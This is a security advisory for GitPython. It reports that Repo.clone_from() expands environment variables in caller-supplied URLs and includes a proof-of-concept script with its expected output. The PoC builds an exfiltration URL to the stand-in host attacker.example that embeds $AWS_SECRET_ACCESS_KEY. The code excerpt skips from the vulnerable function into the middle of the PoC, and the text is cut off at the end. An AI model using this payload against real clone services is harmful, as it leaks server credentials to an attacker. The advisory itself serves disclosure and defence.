GHSA-rwj8-pgh3-r573 GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

• PyPI GitPython: < 3.1.52 → fixed in 3.1.52

Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. Details Affected versions: `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # secret SUBSTITUTED into URL by polish_url()") --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) ``` Expected output: ``` gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCE…